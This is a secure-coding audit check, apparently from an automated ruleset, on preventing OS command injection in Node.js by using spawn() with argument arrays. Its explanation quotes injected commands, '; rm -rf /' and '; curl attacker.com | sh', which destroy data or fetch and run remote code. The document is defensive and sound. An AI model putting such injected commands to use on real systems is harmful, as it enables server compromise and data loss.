Command injection prevention
Why it matters
Command injection (CWE-78, OWASP A03 Injection) occurs when user-controlled data is passed to exec() or execSync() as part of a shell command string. The shell interprets semicolons, pipes, backticks, and subshell syntax — an attacker can append ; rm -rf / or ; curl attacker.com | sh. NIST 800-53 SI-10 requires input validation before shell execution. Image processors, PDF converters, and video transcoders are common vectors because they wrap command-line tools. The fix is categorical: use spawn() with an argument array (which bypasses the shell entirely) rather than exec() with a string.
Severity rationale
Medium because command injection requires a shell execution feature and typically an upload or conversion endpoint, but exploitation achieves arbitrary OS command execution on the server.
Remediation
Replace exec() string calls with spawn() argument arrays — this completely prevents shell interpretation of user data:
import { spawn } from 'child_process'
// Unsafe — shell interprets the full string:
// exec(`convert ${userFilename} -resize 800x output.jpg`)
// Safe — arguments passed as array, no shell:
const proc = spawn('convert', [userFilename, '-resize', '800x', 'output.jpg'], {
stdio: ['ignore', 'pipe', 'pipe'],
timeout: 30_000,
})
await new Promise<void>((resolve, reject) => {
proc.on('close', code => code === 0 ? resolve() : reject(new Error(`convert exited ${code}`)))
})
If the third-party library forces exec, sanitize with shell-quote before passing user input. Prefer managed API services (Cloudinary, AWS Lambda) for media processing to eliminate shell execution entirely.
Detection
-
ID:
command-injection -
Severity:
medium -
What to look for: Enumerate every instance of shell command execution (exec, spawn, system, child_process, subprocess). For each, search for shell command execution:
exec(),execSync(),spawn(),spawnSync(),child_process,shelljs,execa. Check whether user-controlled values are included in shell commands, either directly or through string templates. -
Pass criteria: Shell commands do not include user-controlled values. When external commands must be called, arguments are passed as an array to
spawn()(which does not invoke a shell), not concatenated into a string forexec()— 100% of command executions must avoid string concatenation with user input. Report: "X command execution points found, all Y use parameterized arguments." -
Fail criteria: User-controlled values are interpolated into shell command strings passed to
exec(),execSync(), orchild_process.exec(). -
Skip (N/A) when: The application executes no shell commands.
-
Detail on fail:
"exec() in lib/image-processor.ts includes user-supplied filename directly — command injection possible"or"child_process.exec() call in api/convert/route.ts concatenates req.body.format into shell command" -
Remediation: Use
spawn()with argument arrays instead ofexec()with shell strings:import { spawn } from 'child_process' // Bad: shell injection possible exec(`convert ${userFilename} -resize 800x output.jpg`, callback) // Good: arguments as array, no shell interpretation const proc = spawn('convert', [userFilename, '-resize', '800x', 'output.jpg']) // If exec is necessary, sanitize with shell-quote or similar: import { quote } from 'shell-quote' exec(`convert ${quote([userFilename])} -resize 800x output.jpg`, callback)Prefer moving image processing, PDF handling, and other command-line operations to a managed API service or WebAssembly module that avoids shell execution entirely.
External references
- cwe · CWE-78 — OS Command Injection
- owasp:2021 · A03 — Injection
- nist:rev5 · SI-10 — Information Input Validation
Taxons
History
- 2026-04-18·v1.0.0·Initial import from security-hardening·automated